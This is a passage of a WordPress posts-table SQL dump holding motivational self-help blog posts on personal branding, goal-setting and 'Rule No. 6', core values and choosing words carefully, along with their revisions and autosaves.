(104, 1, '2009-04-04 13:56:53', '2009-04-04 20:56:53', '', 'fishdontknow', 0, '', 'inherit', 'open', 'open', '', 'fishdontknow', '', '', '2009-04-04 13:56:53', '2009-04-04 20:56:53', '', 13, 'http://www.whitehotcenter.com/wp-content/uploads/2009/02/fishdontknow.jpg', 0, 'attachment', 'image/jpeg', 0),
(14, 2, '2009-01-29 18:53:43', '2009-01-30 01:53:43', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, when properly positioned in the minds of your tribe, distinguishes you from others. Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds –it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. Only then will you own the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned. Your brand is the foundation on which your dreams and desires in life are built. I‘ll leave you to ponder this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'publish', 'open', 'open', '', 'a-new-brandyou', '', '', '2010-05-14 15:51:26', '2010-05-14 22:51:26', '', 0, 'http://www.whitehotcenter.com/2009/01/a-new-brandyou.html', 0, 'post', '', 1),
(818, 2, '2010-05-14 15:41:02', '2010-05-14 22:41:02', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, positioned in properly in the minds of your tribe, distinguishes you from others.  Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-11', '', '', '2010-05-14 15:41:02', '2010-05-14 22:41:02', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-11/', 0, 'revision', '', 0),
(816, 2, '2010-05-14 15:37:34', '2010-05-14 22:37:34', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif"><img class="alignnone size-full wp-image-107" title="attraction" src="http://whc.fbdev.org/wp-content/uploads/2009/01/attraction.gif" alt="attraction" width="450" height="286" /></a>\r\n<h2>With our economy still uncertain, now is the perfect time to think about a brand new you. Or more to the point–a new brand: YOU! That’s right–you are a brand!</h2>\r\nMarketers spend billions of dollars each year managing the perception of their brands in the hearts and minds of their customers. In good times and bad, marketers strive to harness the power of perception to influence behaviors and turn prospects into customers. Brands connect with us on deep emotional levels. The sum total of a customer‘s perception and experiences with a product, company or service is called a brand. You can and should think of yourself, your talent, and your capability in the same way.\r\n\r\nLike a brand, the manner in which you “face the world” represents attributes about who you are, what you do and how you do it. People around you are constantly in an emotional state of connecting (or not) to these attributes. Your spouse, family, boss, colleagues, friends, and your community at large, (we call these customers of your personal brand) are experiencing some aspect of what your brand promises them. In marketing parlance, we call this brand experience.\r\n<h2>In these uncertain times, my suggestion is for you to take a good hard look at what your brand represents. Are you an established leading brand, an innovative up-and-coming-brand, or a me-too discount brand thrown in the slush pile at the dollar store?</h2>\r\n<strong>A new brand YOU–is up to you</strong>.\r\n\r\nYou have an identity, a persona, a unique way of being in the world. You also have expertise, skill and talents that add value to people. To build a strong and influential brand called YOU, you need to be clear about who you are, what value you offer people, and why what you offer is important to people (customers).\r\n\r\nLike a brand, you will represent something meaningful beyond money-making. You will have a solid value system that guides your important decisions. You will make a promise of value that people need fulfilled, and you will deliver in accordance to your values. Or, stated another way, you keep your promises. As a result, your brand will be highly trusted and valued by people who sing your praises to others in their circle.\r\n\r\nA positive perception of your brand (you) is your biggest asset. As you grow the influence of your brand, your brand equity (the sum total of your good will) grows accordingly. There are three main components that comprise your brand. Like three legs of a stool, they must be in harmonious alignment. Let‘s look closer:\r\n\r\n<strong>Brand Identity</strong>\r\n\r\nThis is who you are, what values you represent, your heritage, your story, what you are called, and how you represent yourself in visible form.  Think about this for a minute. What is your brand identity? What do you stand for and represent? What makes you –you? Is your identity in the world aligned with your purpose? Are you true to yourself? Your brand identity, positioned in properly in the minds of your tribe, distinguishes you from others.  Your identity makes you unique and therefore special.\r\n\r\n<strong>Brand Utility</strong>\r\nThis is what you do, your expertise and capability, your product, the thing you do to create value for people. Value creation is the foundation of a brand‘s utility. Think about how you might continuously improve your product (you) to create more value for the people in your life (customers).\r\n\r\n<strong>Brand Promise</strong>\r\nThis is what customers (people in your life) believe their benefits are in associating with your brand. It is your unique value proposition to your customers.  Think about your brand promise. What value can you create for people? Do you over promise and under deliver?\r\n\r\nWhen customers, (people in your life) think of your brand (you), naturally you want it to be uplifting and inspiring. When these three components of your brand are all in sync, you will have created a compelling, consistent and positive set of thoughts and associations in your customer‘s minds. In marketing speak; we call this “brand image”. Conversely, when these components are not in sync, the components still form themselves into a perception in people’s minds it’s just not a positive one.\r\n\r\nWhen customers (people in your life) have positive associations with your brand over time, you will have earned  “brand equity“ the power within you to influence others and make bigger things happen in life that you desire. You will own  the influence to shift demand for your offerings toward you, because you are providing greater value for all concerned.  Your brand is the foundation on which your dreams and desires in life are built. Give this some thought. I‘ll leave you with this question:\r\n\r\n<strong>What great work truly matters to you?</strong>\r\n\r\n<strong>When you discover the answer, build and strengthen the components of your brand‘s promise in that direction. Begin today!</strong>', 'A new brand:YOU', 0, 'With our economy in a tailspin, and people finally reconciling one of life’s great truths: there is no free lunch or job security– now is the perfect time to think about a brand new you. Or more to the point–a...\r\n', 'inherit', 'open', 'open', '', '14-revision-9', '', '', '2010-05-14 15:37:34', '2010-05-14 22:37:34', '', 14, 'http://www.whitehotcenter.com/2010/05/14/14-revision-9/', 0, 'revision', '', 0),
(109, 1, '2009-04-04 17:04:50', '2009-04-05 00:04:50', '<img class="size-full wp-image-110 alignleft" title="rule06" src="http://whc.fbdev.org/wp-content/uploads/2008/12/rule06.jpg" alt="rule06" width="256" height="400" />\n\nOf course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception.\n\nI don’t know if it’s just me, but year-end goal setting can seemingly feel like this big laborious angst-ridden process. One where you feel compelled to have big goals and big dreams with well-thought out plans on how to get there by such and such date… and be accountable for the results! Plus there is a subtle, but pervasive side effect in the process that it’s all about me, me, me… my goals, my wants. The self-help / personal development industry is rife with methods on having goals, goal setting , achievement and manifestation. At the risk of adding to that slush pile, I want to share with you my own point of view on this year-end ritual.\n\nIn my view, what is more important than the achievement of any goal is the on-going pursuit of goals that are deeply important to us. When our aspirations are powered by the energy of our deep love for an idea / vision / dream, the pursuit is so much easier, and the achievement more likely. Like breathing, the pursuit of a worthy idea is necessary for life itself– as in meaningful life.  Committing our creative energy through a discipline of aligned thought and action toward goals we value in a different currency than that of the “measurement world” is a sacred practice.  At this level, we know our desire for achievement is not driven by the metrics of the competitive plane, but by the infinite opportunity available in the creative plane.  It’s a different ball-game altogether.\n\nMost people set goals that are not really that important to them mainly because they chose goals based on their acceptance and approval of the outside world. Our media soaked culture has tremendous influence on our choices.  To loss weight, spend less, quit smoking and drinking are all good goals, but they always seem to fade in importance as the year goes on and our focus is distracted by our daily urgencies.\n\nYou will never achieve any goal you set for yourself, no matter the time of year, unless it is powered by your own unbridled Love of it. Without Love, you won’t believe that your goal is really possible for you to achieve. And without belief, you can have no faith and trust in the process of creating what you want. And without faith, you will not persist in the journey toward it, taking on all obstacles and set backs as evidence that your path is well chosen. And without perseverance, there can be no experience of “achievement”.  And with no achievement, there is no growth. If something in this physical realm isn’t growing, it’s dying. Goal setting and achievement can be intimidating stuff for many people!  I know it has been for me!\n\n<strong>Thankfully, there is Rule 6</strong>.\n\nI first learned about Rule 6 reading the insightful book <a title="Book store" href="http://www.amazon.com/Art-Possibility-Transforming-Professional-Personal/dp/0875847706" target="_blank">The Art of Possibility written by Rosamund and Benjamin Zander.</a> Here’s the quick story:\n\nTwo important Prime Ministers are having important one-on-one discussions on matters of State.  Suddenly a frantic assistant burst into the room interrupting the Prime Ministers. One says to the frantic man. “Peter, may I remind you of Rule 6”.  Instantly Peter grows quiet and respectful. He bows and exits the room.  As the men resume their discussions, another assistant interrupts with the most urgent information. Again the Prime Minster responds by saying, “My dear madam, please remember Rule No.6”!   Complete calm descends onto the woman and she leaves the room.\n\nAfter a third interruption played out a similar scene, the visiting Prime Minister turns to his colleague and exclaims, “ My dear friend, I have never witnessed such a thing in all my life! Would you kindly share the secret behind this Rule No. 6?  To which the other replied, “It’s very simple really. Rule No 6 is don’t take yourself so goddamn seriously”.\n\nAfter a moment of pondering, the visiting Prime Minister inquires further, “What are the other rules?”\n\n“There aren’t any”\n\nNote to self in the goal-setting process: LIGHTEN-UP!\n\nWould you not agree– to truly enjoy life, we must experience it in an easy and relaxed manner? Not taking ourselves too seriously puts a nice vibration into the formless goo where the non-physical form of our best ideas and aspirations reside. I suggest your goal setting process begin by contemplating how grateful you are for everything in your life experience thus far and then chill!  In a state of sincere gratitude, you will discover how amazingly your mental clarity and physical energy is increased to focus your talent and capability on new and bigger goals you may decide to pursue more vigorously this coming year.  In gratitude, you know you know all that is required to achieve your goal is readily available. It makes the whole deal much easier!\n\nPerhaps this might be the year, to decide to set goals that are more centered in giving back to others or to the planet than in our own achievement and advancement.\n\nFinally, if you are setting some new goals, set yourself up for success rather than disappointment.  Commit to only one important goal / idea / vision for your personal and professional life. That’s two important goals you would like to achieve in physical form in 2009. Remember it must be a goal that you truly love, believe is doable and will really stretch you. Then simply move yourself in that direction and along the way remember Rule No 6.\n\nI wish all of you a Happy New Year with expanding success and well being in every area of your life!\n\nps. In case you’re curious, here are my two primary 2009 goals:\n\n<strong>Personal:</strong>\nput more focus, energy and time to sustain abundant good health and well-being through the habit of regular exercise and more healthful eating.\n\n<strong>Professional:</strong>\nlearning to be a more disciplined writer by completing my book so it may serve others.\n\nPlease feel free to share yours in the comments…', 'My year-end rant and Rule No.6', 0, 'Of course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception. I don’t know if it’s just me, but year-end goal setting can seemingly feel like this big...\n', 'inherit', 'open', 'open', '', '15-autosave', '', '', '2009-04-04 17:04:50', '2009-04-05 00:04:50', '', 15, 'http://www.whitehotcenter.com/15-autosave', 0, 'revision', '', 0),
(15, 2, '2008-12-31 12:50:20', '2008-12-31 19:50:20', '<img class="size-full wp-image-110 alignleft" title="rule06" src="http://whc.fbdev.org/wp-content/uploads/2008/12/rule06.jpg" alt="rule06" width="256" height="400" />\r\n\r\nOf course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception.\r\n\r\nI don’t know if it’s just me, but year-end goal setting can seemingly feel like this big laborious angst-ridden process. One where you feel compelled to have big goals and big dreams with well-thought out plans on how to get there by such and such date… and be accountable for the results! Plus there is a subtle, but pervasive side effect in the process that it’s all about me, me, me… my goals, my wants. The self-help / personal development industry is rife with methods on having goals, goal setting , achievement and manifestation. At the risk of adding to that slush pile, I want to share with you my own point of view on this year-end ritual.\r\n\r\nIn my view, what is more important than the achievement of any goal is the on-going pursuit of goals that are deeply important to us. When our aspirations are powered by the energy of our deep love for an idea / vision / dream, the pursuit is so much easier, and the achievement more likely. Like breathing, the pursuit of a worthy idea is necessary for life itself– as in meaningful life.  Committing our creative energy through a discipline of aligned thought and action toward goals we value in a different currency than that of the “measurement world” is a sacred practice.  At this level, we know our desire for achievement is not driven by the metrics of the competitive plane, but by the infinite opportunity available in the creative plane.  It’s a different ball-game altogether.\r\n\r\nMost people set goals that are not really that important to them mainly because they chose goals based on their acceptance and approval of the outside world. Our media soaked culture has tremendous influence on our choices.  To loss weight, spend less, quit smoking and drinking are all good goals, but they always seem to fade in importance as the year goes on and our focus is distracted by our daily urgencies.\r\n\r\nYou will never achieve any goal you set for yourself, no matter the time of year, unless it is powered by your own unbridled Love of it. Without Love, you won’t believe that your goal is really possible for you to achieve. And without belief, you can have no faith and trust in the process of creating what you want. And without faith, you will not persist in the journey toward it, taking on all obstacles and set backs as evidence that your path is well chosen. And without perseverance, there can be no experience of “achievement”.  And with no achievement, there is no growth. If something in this physical realm isn’t growing, it’s dying. Goal setting and achievement can be intimidating stuff for many people!  I know it has been for me!\r\n\r\n<strong>Thankfully, there is Rule 6</strong>.\r\n\r\nI first learned about Rule 6 reading the insightful book <a title="Book store" href="http://www.amazon.com/Art-Possibility-Transforming-Professional-Personal/dp/0875847706" target="_blank">The Art of Possibility written by Rosamund and Benjamin Zander.</a> Here’s the quick story:\r\n\r\nTwo important Prime Ministers are having important one-on-one discussions on matters of State.  Suddenly a frantic assistant burst into the room interrupting the Prime Ministers. One says to the frantic man. “Peter, may I remind you of Rule 6”.  Instantly Peter grows quiet and respectful. He bows and exits the room.  As the men resume their discussions, another assistant interrupts with the most urgent information. Again the Prime Minster responds by saying, “My dear madam, please remember Rule No.6”!   Complete calm descends onto the woman and she leaves the room.\r\n\r\nAfter a third interruption played out a similar scene, the visiting Prime Minister turns to his colleague and exclaims, “ My dear friend, I have never witnessed such a thing in all my life! Would you kindly share the secret behind this Rule No. 6?  To which the other replied, “It’s very simple really. Rule No 6 is don’t take yourself so goddamn seriously”.\r\n\r\nAfter a moment of pondering, the visiting Prime Minister inquires further, “What are the other rules?”\r\n\r\n“There aren’t any”\r\n\r\nNote to self in the goal-setting process: LIGHTEN-UP!\r\n\r\nWould you not agree– to truly enjoy life, we must experience it in an easy and relaxed manner? Not taking ourselves too seriously puts a nice vibration into the formless goo where the non-physical form of our best ideas and aspirations reside. I suggest your goal setting process begin by contemplating how grateful you are for everything in your life experience thus far and then chill!  In a state of sincere gratitude, you will discover how amazingly your mental clarity and physical energy is increased to focus your talent and capability on new and bigger goals you may decide to pursue more vigorously this coming year.  In gratitude, you know you know all that is required to achieve your goal is readily available. It makes the whole deal much easier!\r\n\r\nPerhaps this might be the year, to decide to set goals that are more centered in giving back to others or to the planet than in our own achievement and advancement.\r\n\r\nFinally, if you are setting some new goals, set yourself up for success rather than disappointment.  Commit to only one important goal / idea / vision for your personal and professional life. That’s two important goals you would like to achieve in physical form in 2009. Remember it must be a goal that you truly love, believe is doable and will really stretch you. Then simply move yourself in that direction and along the way remember Rule No 6.\r\n\r\nI wish all of you a Happy New Year with expanding success and well being in every area of your life!\r\n\r\nps. In case you’re curious, here are my two primary 2009 goals:\r\n\r\n<strong>Personal:</strong>\r\nput more focus, energy and time to sustain abundant good health and well-being through the habit of regular exercise and more healthful eating.\r\n\r\n<strong>Professional:</strong>\r\nlearning to be a more disciplined writer by completing my book so it may serve others.\r\n\r\nPlease feel free to share yours in the comments…', 'My year-end rant and Rule No.6', 0, 'Of course, the year-end seems to be the quintessential time for reflection and goal-setting that many people embrace, and I am no exception. I don’t know if it’s just me, but year-end goal setting can seemingly feel like this big...\r\n', 'publish', 'open', 'open', '', 'my-yearend-rant-rule-no6', '', '', '2009-04-04 17:05:31', '2009-04-05 00:05:31', '', 0, 'http://www.whitehotcenter.com/2008/12/my-yearend-rant-rule-no6.html', 0, 'post', '', 0),
(116, 1, '2009-08-03 15:28:35', '2009-08-03 22:28:35', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\n\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">\nMichael Bungay Stanier, CEO of Box of Crayons</a>\n\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not. Check it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\n</a>\n<h2><span style="color: #ff6600;">The illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... </span></h2>\nIt is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\n', 'inherit', 'open', 'open', '', '18-autosave', '', '', '2009-08-03 15:28:35', '2009-08-03 22:28:35', '', 18, 'http://www.whitehotcenter.com/18-autosave', 0, 'revision', '', 0),
(43, 1, '2009-06-24 13:00:49', '2009-06-24 20:00:49', '<h2><span style="color: #bf5f00;">On this journey\nthe way is unmarked,\nthere are no maps.\nThe terrain is steep and rocky.</span></h2>\n<h2><span style="color: #bf5f00;">Each day, trusting my feet, steadfast in my purpose,\nI go forward, my eyes on the horizon.</span></h2>\n<h2><span style="color: #bf5f00;">In awe of every potential and possibility,\nI travel light, experiencing the freedom\nof every movement\ntowards my heart''s desire.</span></h2>\n<h2><span style="color: #bf5f00;">Blessed is my quest,\nknowing all too well,\nthis journey\nwill end soon enough.</span></h2>', 'On this journey.', 0, 'On this journey the way is unmarked, there are no maps. The terrain is steep and rocky. Each day, trusting my feet, steadfast in my purpose, I go forward, my eyes on the horizon. In awe of every potential and...\n', 'inherit', 'open', 'open', '', '9-autosave', '', '', '2009-06-24 13:00:49', '2009-06-24 20:00:49', '', 9, 'http://www.whitehotcenter.com/9-autosave', 0, 'revision', '', 0),
(18, 2, '2008-10-30 18:06:08', '2008-10-31 01:06:08', '<img class="alignnone size-full wp-image-117" title="goodvsgreat" src="http://whc.fbdev.org/wp-content/uploads/2008/10/goodvsgreat.jpg" alt="goodvsgreat" width="400" height="432" />\r\n\r\nI wanted to share a post from <a title="website" href="http://www.boxofcrayons.biz" target="_blank">\r\nMichael Bungay Stanier, CEO of Box of Crayons</a>\r\n\r\nIt''s a very useful insight  on the importance of finding the balance of bad, good, and great work in your life. In every area of life this dance plays out...wittingly or not. Check it out <a title="blog" href="http://www.knowledgecrush.com/index.php?option=com_wrapper&amp;Itemid=195" target="_blank">here.\r\n</a>\r\n<h2><span style="color: #ff6600;">The illustration above is current snap-shot as to where my scene is.  Way too much good work (think get by, pay bills, manage process) not enough great work (think passion, fire, purpose, meaning). It''s about a 3:1 ratio... I want 1:1 as best as possible... </span></h2>\r\nIt is a great reminder that where I ''m headed, one must spend more time,money and bandwidth on great work! I love spending my day here in the grove writing the blog, working with clients I love, writing music and adding value to people''s lives... that''s my great work. What''s yours? ...let me know in the comments section what you think. I sure hope you enjoy it.', 'Good Work or Great Work?', 0, 'I wanted to share a post from Michael Bungay Stanier, CEO of Box of Crayons It''s a very useful insight on the importance of finding the balance of bad, good, and great work in your life. In every area of...\r\n', 'publish', 'open', 'open', '', 'good-work-or-great-work', '', '', '2009-08-03 15:27:25', '2009-08-03 22:27:25', '', 0, 'http://www.whitehotcenter.com/2008/10/good-work-or-great-work.html', 0, 'post', '', 0),
(119, 1, '2009-04-03 09:08:28', '2009-04-03 16:08:28', '<a href="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif"><img class="alignnone size-full wp-image-55" title="Talk Isn''t Cheap" src="http://whc.fbdev.org/wp-content/uploads/2009/03/6a00d834d6625a69e20112794143b928a4-800wi.gif" alt="Talk Isn''t Cheap" width="400" height="194" /></a>\r\n<h2><span style="color: #ff8c00;">Have you ever thought about the words you use in your daily life?  What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others?</span></h2>\r\nYour words are very important in determining how you feel about you. How do your words make you feel? This is a simple question. Thinking about the answer is a good idea. In my business life, I hear lots of words coming out of the people that I come into contact with. I pay attention to words. The words people use in conversation are nothing more than the representation or reflection of what’s going on with them on the inside. When you are discussing a painful or difficult situation with someone, are the words you choose those of a victor or a victim?\r\n\r\nHere’s a powerful little experiment you may want to try on yourself. Write down the 10 words you seem to use the most in conversation.  Are they words of empowerment, hope, leadership, and inspiration?  If not, you may want to become more aware of the words coming out of your mouth.  All the successful people I have met,  choose their words carefully and speak in tones that reflect their devotion to their dreams and higher ideals.  When you choose language composed of words that make you and others feel better, you automatically produce a greater result.\r\n\r\nWords are powerful. Your words are the bricks that pave the road you walk on in life. Choose them wisely.', 'Talk isn''t cheap.', 0, 'Have you ever thought about the words you use in your daily life? What words do you choose in all your conversations? Are they useful, helpful, uplifting and inspiring to you and others? Your words are very important in determining...\r\n', 'inherit', 'open', 'open', '', '10-revision-3', '', '', '2009-04-03 09:08:28', '2009-04-03 16:08:28', '', 10, 'http://www.whitehotcenter.com/10-revision-3', 0, 'revision', '', 0),
(19, 2, '2008-10-21 15:51:59', '2008-10-21 22:51:59', '<img title="values" src="http://whc.fbdev.org/wp-content/uploads/2008/10/values.jpg" alt="values" width="390" height="157" />\r\n<h2><span style="color: #ff6600;">In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by this company as something unique, valuable and different from all other alternatives.  As a result, I was reminded of how important our individual core values (what is most important to us) are at defining who we are as individuals and the value we bring to the world.</span></h2>\r\nJust like business organizations, governments, and societies, individuals are defined in the world by what they value most. What is held sacred defines who you are (your identity, brand, persona), and what you do (choices, behaviors and results) in the physical world. Core values are sacred. This implies they are formed within you by your divine nature. They are not arbitrary ideas that form outside of you, solely the result of your conditioning. Your core values are the “holy of holies” of who and what you are in the physical world. Your core values seldom change with the whims of the outer world. Core values are the bedrock from which you perceive and build your life experiences. They are your spiritual DNA.\r\n\r\nIn my marketing and design practice, we help client organizations large and small craft a clear mental image of who they are and the value they create in the world. And because markets are dynamic and always changing, there is a tendency for some to adopt the popular values of conventional wisdom as a means of selling more stuff.  It is rare for this strategy to succeed over time. This leads to sameness, mediocrity and slow death.  The same holds true for individuals.\r\n<h2><span style="color: #ff6600;">Core values are the magnetic north of your existence. They guide you in an ever-changing world. Rather than change with conventional wisdom, core values strengthen your awareness and understanding of your unique contributions to the world. You are lost and adrift in life without their guidance.</span></h2>\r\nOf course, because life (like markets for goods and services) is a dynamic ever-changing force, sometimes we get turned around and disoriented in our approach and in our methods to create the success we desire.  Sometimes we lose track, in the urgency of living (paying bills, raising kids, running businesses) of what is important–really important to us. When we are not living from our own inner creed, we experience all manner of dis-ease–that eventually shows up in our physical bodies.\r\n\r\nWhen we connect deeply to what is important to us, we instantly and automatically sense greater potential for our lives. Our core values serve us in this way, illuminating and aligning our thoughts and actions in the direction of our heart’s desire. Our success becomes ever more grounded in that which is sacred only to us, and the value we bring to the world is but a reflection of our unique expression of divine nature.\r\n\r\nMy suggestion: make a habit of spending some portion of each day affirming what really matters to you.', 'Affirm what is important to you everyday.', 0, 'In a recent meeting with colleagues from a client organization, I was participating in a discussion that centered on how customers connect with the core values of this particular business enterprise in order to perceive the value proposition offered by...\r\n', 'publish', 'open', 'open', '', 'affirm-what-is', '', '', '2009-08-03 15:26:05', '2009-08-03 22:26:05', '', 0, 'http://www.whitehotcenter.com/2008/10/affirm-what-is.html', 0, 'post', '', 0);
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(123, 1, '2009-07-09 17:07:43', '2009-07-10 00:07:43', '<img class="size-full wp-image-124 alignleft" title="71555675" src="http://whc.fbdev.org/wp-content/uploads/2008/10/rowinstorm.jpg" alt="71555675" width="273" height="187" />\n<h2><span style="color: #ff6600;">No doubt about it, people are concerned about the uncertain economic times we find ourselves in. More specifically, their own job security, continued business success, and the value of their investment and retirement portfolios.  Everything and everyone seems to be at risk. Indeed, these are uncertain times, and for many people, there is a great deal of anxiety over this economic turmoil. Many people feel powerless and are at a loss to cope. There are however ways in which you can thrive in the midst of all this uncertainty. Here are several simple ideas I would like to suggest you consider that may help you weather the current stormy seas our world finds itself in right now.</span></h2>\n<strong>Take a media fast.</strong>\n\nDon’t listen to the radio, watch the television news or read the newspapers. This may sound a little over-simplified, but the truth is the media amplifies the inherent fear people have in this situation. Most of what goes on in the media is hype and overstatement. The media business is based on creating an 